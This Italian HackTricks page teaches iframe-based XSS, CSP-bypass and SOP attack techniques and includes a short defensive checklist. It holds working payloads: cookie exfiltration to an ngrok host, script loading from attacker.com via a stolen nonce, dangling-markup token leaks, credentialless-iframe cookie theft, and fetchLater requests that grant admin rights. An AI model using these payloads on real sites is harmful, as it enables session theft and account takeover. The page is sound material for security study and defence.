Iframes in XSS, CSP e SOP

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Iframes in XSS

Ci sono 3 modi per specificare il contenuto di una pagina in un iframe:

  • Tramite src che indica un URL (l’URL può essere cross-origin o same-origin)
  • Tramite src che indica il contenuto usando il protocollo data:
  • Tramite srcdoc che indica il contenuto

Accesso a variabili Parent & Child

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Se accedi all’HTML precedente tramite un http server (come python3 -m http.server) noterai che tutti gli script verranno eseguiti (dato che non c’è alcuna CSP che lo impedisca)., la finestra parent non sarà in grado di accedere alla variabile secret all’interno di nessun iframe e solo gli iframe if2 & if3 (che sono considerati same-site) possono accedere al secret nella finestra originale.
Nota come if4 è considerato avere origine null.

srcdoc particolarità che contano negli exploit reali

Due dettagli riguardo srcdoc sono facili da trascurare durante lo sfruttamento:

  • A meno che il frame non sia sandboxed senza allow-same-origin, un documento srcdoc è same-origin con il parent. Pertanto, iniettare HTML controllato dall’attaccante in srcdoc è solitamente equivalente a dargli accesso diretto al DOM del documento superiore.
  • Anche se l’URL del documento è about:srcdoc, gli URL relativi vengono risolti usando l’URL della pagina che li incorpora come base. Questo significa che payload come <script src="/upload/payload.js"></script> o <img src="/internal/debug"> mireranno all’origine del parent, non a about:srcdoc.

Payload pratico:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Questo è particolarmente utile quando si controlla solo il markup ma si conosce un same-origin path che restituisce JavaScript, JSONP o HTML controllato dall’attaccante senza una CSP restrittiva.

Iframes con CSP

Tip

Nota che nei bypass seguenti la risposta alla pagina iframed non contiene alcun CSP header che impedisca l’esecuzione di JS.

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Nota come la precedente CSP permette solo l’esecuzione dello script inline.
Tuttavia, solo gli script if1 e if2 verranno eseguiti ma solo if1 potrà accedere al segreto del frame padre.

Pertanto, è possibile bypassare una CSP se puoi caricare un file JS sul server e caricarlo tramite iframe anche con script-src 'none'. Questo può potenzialmente essere fatto anche abusando di un endpoint JSONP same-site.

Puoi testarlo con lo scenario seguente in cui un cookie viene rubato anche con script-src 'none'. Avvia semplicemente l’applicazione e accedila con il tuo browser:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nuove tecniche (2023-2025) di bypass CSP con iframes

La comunità di ricerca continua a scoprire modi creativi di abusare degli iframes per eludere policy restrittive. Di seguito trovi le tecniche più note pubblicate negli ultimi anni:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Quando un’applicazione riflette HTML ma una CSP forte blocca l’esecuzione di script, puoi comunque leak token sensibili iniettando un attributo dangling <iframe name>. Una volta che il markup parziale viene parsato, lo script dell’attacker in un’origine separata naviga il frame verso about:blank e legge window.name, che ora contiene tutto fino al prossimo carattere di virgoletta (per esempio un token CSRF). Poiché nessun JavaScript viene eseguito nel contesto della vittima, l’attacco solitamente elude script-src 'none'. Un PoC minimale è:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – I nonce CSP sono leggibili dal DOM da documenti della stessa origine. Se un attacker può injectare o caricare una pagina HTML same-origin e caricarla in un iframe, il frame child può leggere top.document.querySelector('[nonce]').nonce e creare nuovi elementi <script nonce>. Questo trasforma una same-origin HTML injection in esecuzione completa di script anche sotto strict-dynamic (perché il nonce è già trusted). Il gadget seguente scala una markup injection in XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Una pagina che omette la direttiva form-action può vedere il suo form di login reindirizzato da un iframe iniettato o da HTML inline in modo che i password manager riempiano automaticamente e inviino le credenziali a un dominio esterno, anche quando è presente script-src 'none'. Complementa sempre default-src con form-action!

Note difensive (checklist rapida)

  1. Invia sempre tutte le direttive CSP che controllano contesti secondari (form-action, frame-src, child-src, object-src, ecc.).
  2. Non fare affidamento sul fatto che i nonce siano segreti—usa strict-dynamic e elimina i punti di injection.
  3. Quando devi incorporare documenti non affidabili usa sandbox="allow-scripts allow-same-origin" con molta attenzione (o senza allow-same-origin se hai solo bisogno dell’isolamento dell’esecuzione degli script).
  4. Considera un deployment defense-in-depth COOP+COEP; il nuovo attributo <iframe credentialless> (§ below) ti permette di farlo senza rompere gli embed di terze parti.

Altri payloads trovati in the wild

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Sandbox dell’iframe

Il contenuto all’interno di un iframe può essere soggetto a restrizioni aggiuntive tramite l’uso dell’attributo sandbox. Per impostazione predefinita, questo attributo non viene applicato, quindi non sono presenti restrizioni.

Quando viene utilizzato, l’attributo sandbox impone diverse limitazioni:

  • Il contenuto è trattato come se provenisse da un’origine unica.
  • Qualsiasi tentativo di invio dei moduli viene bloccato.
  • L’esecuzione di script è proibita.
  • L’accesso ad alcune API è disabilitato.
  • Impedisce ai link di interagire con altri contesti di navigazione.
  • L’uso di plugin tramite <embed>, <object>, <applet> o tag simili è vietato.
  • Si impedisce al contenuto di navigare il contesto di navigazione di livello superiore.
  • Funzionalità attivate automaticamente, come la riproduzione video o l’auto-focus dei controlli dei moduli, vengono bloccate.

Suggerimento: I browser moderni supportano flag granulari come allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, ecc. Combinali per concedere solo le capacità minime richieste dall’applicazione incorporata.

Il valore dell’attributo può essere lasciato vuoto (sandbox="") per applicare tutte le restrizioni menzionate. In alternativa, può essere impostato su una lista di valori separati da spazi che esentano l’iframe da certe restrizioni.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Se la pagina incorporata è same-origin e concedi sia allow-scripts che allow-same-origin, il sandbox diventa un confine molto debole. Il contenuto figlio può eseguire JavaScript, accedere a top.document e persino rimuovere l’attributo sandbox dal proprio elemento <iframe>:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

In pratica, sandbox="allow-scripts allow-same-origin" dovrebbe essere considerato unsafe for attacker-influenced same-origin content. È ancora utile per alcuni third-party embeds, ma non è un confine di isolamento contro HTML same-origin ostile.

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:

  • Gli script in differenti iframe credentialless still share the same top-level origin e possono interagire liberamente tramite il DOM, rendendo fattibili multi-iframe self-XSS attacks (see PoC below).
  • Poiché la rete è credential-stripped, qualsiasi richiesta all’interno dell’iframe si comporta effettivamente come una sessione non autenticata – gli endpoint protetti da CSRF di solito falliscono, ma le pagine pubbliche leakable via DOM restano comunque nel perimetro.
  • Lo storage è partitioned by a top-level document nonce: i frame credentialless sulla stessa pagina possono condividere lo storage tra loro, ma questo viene cancellato quando il documento top-level viene scartato.
  • I pop-up aperti da un iframe credentialless ricevono implicitamente rel="noopener", interrompendo alcuni OAuth flows.
  • I browser dovrebbero disabilitare autofill/password managers all’interno degli iframe credentialless, limitando il furto di credenziali via autofill in questi contesti.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Esempio di exploit: Self-XSS + CSRF

In questo attacco, l’attaccante prepara una pagina web dannosa con due iframe:

  • Un iframe che carica la pagina della vittima con il flag credentialless con un CSRF che innesca una XSS (Immagina una Self-XSS nel campo username dell’utente):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Un altro iframe in cui l’utente è effettivamente loggato (senza il flag credentialless).

Poi, dall’XSS è possibile accedere all’altro iframe poiché hanno la stessa SOP e rubare il cookie, ad esempio eseguendo:

alert(window.top[1].document.cookie);

fetchLater Attack

Come indicato in questo articolo l’API fetchLater permette di configurare una richiesta da eseguire in seguito. Questo può essere abusato per, ad esempio, effettuare il login di una vittima all’interno della sessione dell’attaccante (con Self-XSS), programmare una richiesta fetchLater (per cambiare la password dell’utente corrente, ad esempio) e logout dalla sessione dell’attaccante. Poi, quando la vittima accede nella propria sessione, la richiesta differita può essere eseguita usando i cookie disponibili al momento dell’invio, cambiando la password della vittima con quella impostata dall’attaccante.

Note operative:

  • fetchLater è entrato in Chrome origin trial nel 2024 ed è stato rilasciato in Chrome 135 (aprile 2025), quindi verifica la disponibilità della feature prima di farvi affidamento.
  • La risposta è not disponibile per JavaScript; body/headers vengono ignorati una volta che la richiesta differita è inviata.
  • L’enforcement di CSP usa connect-src (non script-src) per le richieste differite.
  • Le richieste vengono attivate al page unload o quando activateAfter scade (vale il primo evento che si verifica).
  • Il ritardo massimo per richiesta singola è attualmente 299000 ms, quindi attese prolungate richiedono la riprogrammazione di più richieste differite.

In questo modo, anche se l’URL della vittima non può essere caricato in un iframe (a causa di CSP o altre restrizioni), l’attaccante può comunque eseguire una richiesta nella sessione della vittima.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes in SOP

Consulta le seguenti pagine:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Riferimenti

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks